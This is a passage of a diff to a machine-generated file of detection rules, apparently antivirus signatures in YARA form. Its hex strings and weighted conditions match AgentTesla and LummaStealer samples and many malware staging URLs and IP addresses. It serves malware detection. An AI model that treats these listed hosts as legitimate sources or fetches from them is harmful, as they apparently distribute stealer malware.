- $a_80_52 = {63 69 68 6d 6f 61 64 61 69 67 68 63 65 6a 6f 70 61 6d 6d 66 62 6d 64 64 63 6d 64 65 6b 63 6a 65 } //cihmoadaighcejopammfbmddcmdekcje 1 + $a_6f_24 = {00 00 78 a9 09 00 0a 00 0a 00 22 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 48 30 31 21 4d 54 42 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 37 00 31 00 2e 00 30 00 2e 00 32 00 30 00 30 00 2f 00 } //11884 + $a_00_25 = {63 00 68 00 65 00 6e 00 67 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 38 00 33 00 2e 00 31 00 31 00 38 00 2e 00 33 00 30 00 2f 00 54 00 48 00 41 00 4e 00 4f 00 53 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 62 00 69 00 6e 00 2e 00 6e 00 65 00 } //109 + $a_00_26 = {54 00 70 00 76 00 61 00 6f 00 62 00 61 00 76 00 79 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 } //116 + $a_00_28 = {6e 00 65 00 74 00 2f 00 41 00 77 00 70 00 7a 00 65 00 7a 00 68 00 6f 00 70 00 6c 00 2f 00 0a 00 30 01 68 00 74 00 74 00 70 00 3a 00 2f 00 } //110 + $a_00_29 = {31 00 33 00 2e 00 31 00 39 00 39 00 2e 00 34 00 31 00 2e 00 33 00 33 00 2f 00 72 00 71 00 2f 00 0a 00 60 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 } //47 + $a_00_30 = {61 00 79 00 65 00 72 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 0a 00 6a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 65 00 } //112 + $a_00_31 = {6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 42 00 61 00 73 00 65 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 2f 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c } //114 + $a_00_33 = {69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c 00 69 00 6b 00 65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 64 00 61 00 74 00 90 00 0a 00 45 03 68 00 74 } //101 + $a_00_35 = {2f 00 2f 00 6e 00 65 00 78 00 6f 00 70 00 72 00 6f 00 64 00 75 00 63 00 63 00 69 00 6f 00 6e 00 65 00 73 00 2e 00 63 00 6c 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a } //115 + $a_68_36 = {74 00 74 } //16128 + $a_00_38 = {2f 00 6f 00 73 00 64 00 75 00 67 00 61 00 6c 00 69 00 63 00 2e 00 65 00 64 00 75 00 2e 00 72 00 73 00 2f 00 90 02 28 2e 00 77 00 61 00 76 00 } //58 + $a_00_39 = {3f 03 68 00 74 00 74 00 70 00 } //144 ̿http + $a_00_40 = {2f 00 2f 00 6f 00 73 00 64 00 75 00 67 00 61 00 6c 00 69 00 63 00 2e 00 65 00 64 00 75 00 2e 00 72 00 73 00 2f 00 90 02 28 2e 00 6d 00 70 00 33 00 90 00 0a 00 37 03 68 00 74 } //115 + $a_00_42 = {2f 00 31 00 39 00 36 00 2e 00 32 00 35 00 31 00 2e 00 39 00 32 00 2e 00 31 00 32 00 2f 00 90 02 28 2e 00 6d 00 70 00 33 00 90 00 0a 00 36 01 } //58 + $a_00_43 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 65 00 6d 00 69 00 73 00 61 00 74 00 2e 00 63 00 6f 00 6d 00 2e 00 75 00 79 00 2f 00 63 00 6c 00 69 00 2f 00 0a 00 36 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 37 00 2e 00 31 00 35 00 30 00 2e 00 31 00 39 00 2e 00 31 00 34 00 31 00 2f 00 73 00 74 00 75 00 62 00 2f 00 0a 00 68 01 68 00 74 00 } //104 + $a_00_44 = {73 00 3a 00 2f 00 2f 00 61 00 69 00 6e 00 76 00 65 00 73 00 74 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 5f 00 64 00 6f 00 6f 00 72 00 73 00 2f 00 69 00 6d 00 67 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 } //116 + $a_00_45 = {35 00 2e 00 31 00 32 00 36 00 2e 00 32 00 30 00 39 00 2e 00 35 00 37 00 2f 00 64 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2f 00 0a 00 70 01 68 00 74 00 74 00 } //47 + $a_00_46 = {3a 00 2f 00 2f 00 69 00 6e 00 76 00 65 00 73 00 74 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6e 00 73 00 75 00 72 00 61 00 6e 00 63 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 73 00 73 00 75 00 65 00 6e 00 63 00 65 00 2f 00 6c 00 69 00 74 00 65 00 73 00 6f 00 6c 00 69 00 64 00 43 00 68 00 61 00 2f 00 0a 00 38 01 68 00 74 00 74 00 70 00 3a } //112 + $a_00_48 = {34 00 2e 00 31 00 39 00 34 00 2e 00 31 00 34 00 33 00 2e 00 33 00 39 00 2f 00 62 00 6f 00 6f 00 6b 00 73 00 2f 00 0a 00 4c 01 68 00 74 00 74 00 } //49 + $a_00_49 = {3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 61 00 64 00 74 00 74 00 65 00 6d 00 70 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 2f 00 4f 00 66 00 41 00 53 00 5a 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 39 00 32 00 2e 00 32 00 35 00 34 00 2e 00 31 00 37 00 38 00 2f 00 73 00 61 } //112 + $a_00_51 = {65 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 39 00 36 00 2e 00 31 00 37 00 32 00 2e 00 31 00 36 00 36 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 } //105 + $a_00_52 = {63 00 6f 00 6d 00 2f 00 69 00 6d 00 67 00 2f 00 0a 00 42 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 } //115 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25453+(#a_6d_2 & 1)*25390+(#a_63_3 & 1)*31073+(#a_64_4 & 1)*29296+(#a_74_5 & 1)*28015+(#a_66_6 & 1)*29541+(#a_77_7 & 1)*30511+(#a_3a_8 & 1)*28788+(#a_63_9 & 1)*31073+(#a_2f_10 & 1)*14963+(#a_68_11 & 1)*24931+(#a_61_12 & 1)*29743+(#a_2e_13 & 1)*24944+(#a_6f_14 & 1)*11886+(#a_70_15 & 1)*29800+(#a_77_16 & 1)*29557+(#a_64_17 & 1)*28515+(#a_6d_18 & 1)*25390+(#a_67_19 & 1)*25960+(#a_62_20 & 1)*12079+(#a_6d_21 & 1)*26670+(#a_74_22 & 1)*28015+(#a_61_23 & 1)*25956+(#a_6f_24 & 1)*11884+(#a_6e_25 & 1)*25964+(#a_62_26 & 1)*27499+(#a_6e_27 & 1)*28513+(#a_01_28 & 1)*8192+(#a_67_29 & 1)*28776+(#a_70_30 & 1)*28007+(#a_64_31 & 1)*25446+(#a_6a_32 & 1)*25711+(#a_70_33 & 1)*25195+(#a_6f_34 & 1)*-32736+(#a_6d_35 & 1)*28775+(#a_70_36 & 1)*27905+(#a_6c_37 & 1)*27504+(#a_6d_38 & 1)*26113+(#a_66_39 & 1)*-32737+(#a_69_40 & 1)*25449+(#a_6b_41 & 1)*27754+(#a_80_42 & 1)*1+(#a_80_43 & 1)*1+(#a_80_44 & 1)*1+(#a_80_45 & 1)*1+(#a_80_46 & 1)*1+(#a_80_47 & 1)*1+(#a_80_48 & 1)*1+(#a_80_49 & 1)*1+(#a_80_50 & 1)*1+(#a_80_51 & 1)*1+(#a_80_52 & 1)*1) >=30 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25453+(#a_6d_2 & 1)*25390+(#a_63_3 & 1)*31073+(#a_64_4 & 1)*29296+(#a_74_5 & 1)*28015+(#a_66_6 & 1)*29541+(#a_77_7 & 1)*30511+(#a_3a_8 & 1)*28788+(#a_63_9 & 1)*31073+(#a_2f_10 & 1)*14963+(#a_68_11 & 1)*24931+(#a_61_12 & 1)*29743+(#a_2e_13 & 1)*24944+(#a_6f_14 & 1)*11886+(#a_70_15 & 1)*29800+(#a_77_16 & 1)*29557+(#a_64_17 & 1)*28515+(#a_6d_18 & 1)*25390+(#a_67_19 & 1)*25960+(#a_62_20 & 1)*12079+(#a_6d_21 & 1)*26670+(#a_74_22 & 1)*28015+(#a_61_23 & 1)*25956+(#a_6f_24 & 1)*11884+(#a_00_25 & 1)*109+(#a_00_26 & 1)*116+(#a_00_28 & 1)*110+(#a_00_29 & 1)*47+(#a_00_30 & 1)*112+(#a_00_31 & 1)*114+(#a_00_33 & 1)*101+(#a_00_35 & 1)*115+(#a_68_36 & 1)*16128+(#a_00_38 & 1)*58+(#a_00_39 & 1)*144+(#a_00_40 & 1)*115+(#a_00_42 & 1)*58+(#a_00_43 & 1)*104+(#a_00_44 & 1)*116+(#a_00_45 & 1)*47+(#a_00_46 & 1)*112+(#a_00_48 & 1)*49+(#a_00_49 & 1)*112+(#a_00_51 & 1)*105+(#a_00_52 & 1)*115) >=30 } -rule _InfrastructureShared_20582{ +rule _InfrastructureShared_21806{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 22 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 48 30 31 21 4d 54 42 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 37 00 31 00 2e 00 30 00 2e 00 32 00 30 00 30 00 2f 00 6d 00 } //18467 + $a_00_1 = {68 00 65 00 6e 00 67 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 38 00 33 00 2e 00 31 00 31 00 38 00 2e 00 33 00 30 00 2f 00 54 00 48 00 41 00 4e 00 4f 00 53 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 } //114 + $a_00_3 = {6e 00 65 00 74 00 2f 00 54 00 70 00 76 00 61 00 6f 00 62 00 61 00 76 00 79 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 } //110 + $a_00_4 = {69 00 6c 00 65 00 62 00 69 00 6e 00 2e 00 6e 00 65 00 74 00 2f 00 41 00 77 00 70 00 7a 00 65 00 7a 00 68 00 6f 00 70 00 6c 00 2f 00 0a 00 30 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 31 00 33 00 2e 00 31 00 39 00 39 00 2e 00 34 00 31 00 2e 00 33 00 33 00 2f 00 72 00 71 00 2f 00 0a 00 60 01 68 00 } //47 + $a_00_5 = {70 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 65 00 72 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 0a 00 6a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 } //116 + $a_00_6 = {72 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 42 00 61 00 73 00 65 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 2f 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 } //121 + $a_00_8 = {65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c 00 69 00 6b 00 65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 64 00 61 } //105 + $a_03_10 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6e 00 65 00 78 00 6f 00 70 00 72 00 6f 00 64 00 75 00 63 00 63 00 69 00 6f 00 6e 00 65 00 73 00 2e 00 63 00 6c 00 2f 00 [0-28] 2e 00 70 00 64 00 66 00 } //10 + $a_03_11 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6f 00 73 00 64 00 75 00 67 00 61 00 6c 00 69 00 63 00 2e 00 65 00 64 00 75 00 2e 00 72 00 73 00 2f 00 [0-28] 2e 00 77 00 61 00 76 00 } //10 + $a_03_12 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6f 00 73 00 64 00 75 00 67 00 61 00 6c 00 69 00 63 00 2e 00 65 00 64 00 75 00 2e 00 72 00 73 00 2f 00 [0-28] 2e 00 6d 00 70 00 33 00 } //10 + $a_03_13 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 36 00 2e 00 32 00 35 00 31 00 2e 00 39 00 32 00 2e 00 31 00 32 00 2f 00 [0-28] 2e 00 6d 00 70 00 33 00 } //10 + $a_01_14 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 65 00 6d 00 69 00 73 00 61 00 74 00 2e 00 63 00 6f 00 6d 00 2e 00 75 00 79 00 2f 00 63 00 6c 00 69 00 2f 00 } //10 https://remisat.com.uy/cli/ + $a_01_15 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 37 00 2e 00 31 00 35 00 30 00 2e 00 31 00 39 00 2e 00 31 00 34 00 31 00 2f 00 73 00 74 00 75 00 62 00 2f 00 } //10 http://107.150.19.141/stub/ + $a_01_16 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 69 00 6e 00 76 00 65 00 73 00 74 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 5f 00 64 00 6f 00 6f 00 72 00 73 00 2f 00 69 00 6d 00 67 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2f 00 } //10 https://ainvestinternational.com/wp_doors/img-files/ + $a_01_17 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 34 00 35 00 2e 00 31 00 32 00 36 00 2e 00 32 00 30 00 39 00 2e 00 35 00 37 00 2f 00 64 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2f 00 } //10 http://45.126.209.57/dropbox/ + $a_01_18 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 6e 00 76 00 65 00 73 00 74 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6e 00 73 00 75 00 72 00 61 00 6e 00 63 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 73 00 73 00 75 00 65 00 6e 00 63 00 65 00 2f 00 6c 00 69 00 74 00 65 00 73 00 6f 00 6c 00 69 00 64 00 43 00 68 00 61 00 2f 00 } //10 https://investdirectinsurance.com/assuence/litesolidCha/ + $a_01_19 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 34 00 2e 00 31 00 39 00 34 00 2e 00 31 00 34 00 33 00 2e 00 33 00 39 00 2f 00 62 00 6f 00 6f 00 6b 00 73 00 2f 00 } //10 http://104.194.143.39/books/ + $a_01_20 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 61 00 64 00 74 00 74 00 65 00 6d 00 70 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 2f 00 4f 00 66 00 41 00 53 00 5a 00 2f 00 } //10 https://transfer.adttemp.com.br/OfASZ/ + $a_01_21 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 39 00 32 00 2e 00 32 00 35 00 34 00 2e 00 31 00 37 00 38 00 2f 00 73 00 61 00 70 00 68 00 69 00 72 00 65 00 2f 00 } //10 http://91.92.254.178/saphire/ + $a_01_22 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 39 00 36 00 2e 00 31 00 37 00 32 00 2e 00 31 00 36 00 36 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 } //10 http://172.96.172.166/download/ + $a_01_23 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 69 00 6d 00 67 00 2f 00 } //10 https://wymascensores.com/img/ + $a_01_24 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 72 00 76 00 65 00 78 00 2f 00 } //10 https://wymascensores.com/servex/ + $a_01_25 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 } //10 https://wymascensores.com/panel/ + $a_01_26 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 65 00 6f 00 63 00 73 00 2e 00 6d 00 78 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://geocs.mx/wp-includes/ + $a_01_27 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 73 00 74 00 6f 00 72 00 65 00 6d 00 65 00 74 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://playstoremeta.com/wp-includes/ + $a_01_28 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 72 00 6b 00 61 00 73 00 65 00 72 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 75 00 75 00 72 00 65 00 77 00 2f 00 } //10 https://erkasera.com/ruurew/ + $a_01_29 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 37 00 32 00 2e 00 35 00 37 00 2e 00 31 00 32 00 30 00 2f 00 54 00 47 00 49 00 46 00 2f 00 } //10 http://103.72.57.120/TGIF/ + $a_01_30 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6f 00 6c 00 65 00 6f 00 6e 00 69 00 64 00 61 00 73 00 2e 00 67 00 72 00 2f 00 65 00 70 00 73 00 69 00 6e 00 2f 00 } //10 https://www.oleonidas.gr/epsin/ + $a_01_31 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6e 00 65 00 77 00 2e 00 65 00 76 00 65 00 6e 00 74 00 61 00 77 00 61 00 72 00 64 00 73 00 72 00 75 00 73 00 73 00 69 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://www.new.eventawardsrussia.com/wp-includes/ + $a_01_32 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 64 00 72 00 31 00 36 00 38 00 39 00 39 00 2e 00 79 00 64 00 6e 00 73 00 2e 00 65 00 75 00 2f 00 31 00 2f 00 31 00 32 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 } //10 http://dr16899.ydns.eu/1/12/panel/uploads/ + $a_01_33 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 32 00 32 00 33 00 2e 00 33 00 2e 00 31 00 36 00 37 00 2f 00 63 00 69 00 72 00 2f 00 } //10 http://91.223.3.167/cir/ + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_3 & 1)*110+(#a_00_4 & 1)*47+(#a_00_5 & 1)*116+(#a_00_6 & 1)*121+(#a_00_8 & 1)*105+(#a_03_10 & 1)*10+(#a_03_11 & 1)*10+(#a_03_12 & 1)*10+(#a_03_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10+(#a_01_16 & 1)*10+(#a_01_17 & 1)*10+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*10+(#a_01_22 & 1)*10+(#a_01_23 & 1)*10+(#a_01_24 & 1)*10+(#a_01_25 & 1)*10+(#a_01_26 & 1)*10+(#a_01_27 & 1)*10+(#a_01_28 & 1)*10+(#a_01_29 & 1)*10+(#a_01_30 & 1)*10+(#a_01_31 & 1)*10+(#a_01_32 & 1)*10+(#a_01_33 & 1)*10) >=10 + +} +rule _InfrastructureShared_21807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 40 00 21 " @@ -266429,7 +281956,7 @@ rule _InfrastructureShared_20582{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*24933+(#a_6e_2 & 1)*25710+(#a_6d_3 & 1)*26985+(#a_6e_4 & 1)*25706+(#a_6b_5 & 1)*27490+(#a_6d_6 & 1)*28516+(#a_66_7 & 1)*26474+(#a_67_8 & 1)*25194+(#a_63_9 & 1)*25447+(#a_6f_10 & 1)*-32736+(#a_6d_11 & 1)*28775+(#a_70_12 & 1)*27905+(#a_6c_13 & 1)*27504+(#a_6d_14 & 1)*26113+(#a_66_15 & 1)*-32737+(#a_69_16 & 1)*25449+(#a_6b_17 & 1)*27754+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_80_27 & 1)*1+(#a_80_28 & 1)*1+(#a_80_29 & 1)*1+(#a_80_30 & 1)*1+(#a_80_31 & 1)*1+(#a_80_32 & 1)*1+(#a_80_33 & 1)*1+(#a_80_34 & 1)*1+(#a_80_35 & 1)*100+(#a_b3_36 & 1)*0+(#a_00_38 & 1)*100+(#a_5a_39 & 1)*16697+(#a_00_41 & 1)*48+(#a_61_42 & 1)*11585+(#a_41_43 & 1)*11617+(#a_00_44 & 1)*111+(#a_00_46 & 1)*115+(#a_00_48 & 1)*110+(#a_00_49 & 1)*45+(#a_00_50 & 1)*114+(#a_00_52 & 1)*115+(#a_2d_53 & 1)*2305+(#a_00_55 & 1)*114+(#a_00_56 & 1)*111+(#a_00_58 & 1)*110+(#a_2d_60 & 1)*2305+(#a_00_61 & 1)*116+(#a_00_63 & 1)*97) >=101 } -rule _InfrastructureShared_20583{ +rule _InfrastructureShared_21808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 15 00 21 " @@ -266454,7 +281981,22 @@ rule _InfrastructureShared_20583{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*45+(#a_00_3 & 1)*46+(#a_41_4 & 1)*11568+(#a_53_5 & 1)*25974+(#a_00_7 & 1)*115+(#a_00_9 & 1)*45+(#a_00_10 & 1)*114+(#a_09_11 & 1)*11408+(#a_2d_12 & 1)*14637+(#a_00_14 & 1)*116+(#a_01_15 & 1)*-28672+(#a_00_16 & 1)*32+(#a_09_17 & 1)*11408+(#a_2d_18 & 1)*14637+(#a_00_19 & 1)*119) >=10 } -rule _InfrastructureShared_20584{ +rule _InfrastructureShared_21809{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 14 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 34 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 03 00 00 00 00 06 00 00 02 00 00 } //18467 + $a_00_1 = {00 00 } //-7680 + $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 } //0 + $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 } //0 + $a_00_13 = {00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 06 00 00 04 } //0 + $a_00_18 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 04 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-7680+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0+(#a_00_13 & 1)*0+(#a_00_18 & 1)*0) >=1 + +} +rule _InfrastructureShared_21810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 1f 00 21 " @@ -266494,7 +282036,7 @@ rule _InfrastructureShared_20584{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_61_2 & 1)*281+(#a_03_3 & 1)*6+(#a_03_4 & 1)*6+(#a_03_5 & 1)*6+(#a_03_6 & 1)*6+(#a_03_7 & 1)*6+(#a_03_8 & 1)*6+(#a_03_9 & 1)*6+(#a_03_10 & 1)*3+(#a_03_11 & 1)*3+(#a_03_12 & 1)*3+(#a_03_13 & 1)*3+(#a_03_14 & 1)*3+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1) >=6 } -rule _InfrastructureShared_20585{ +rule _InfrastructureShared_21811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 57 00 21 " @@ -266577,16 +282119,31 @@ rule _InfrastructureShared_20585{ $a_01_79 = {55 70 64 61 74 65 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 20 4e 65 77 20 56 65 72 73 69 6f 6e 3a 20 } //1 Update successfully. New 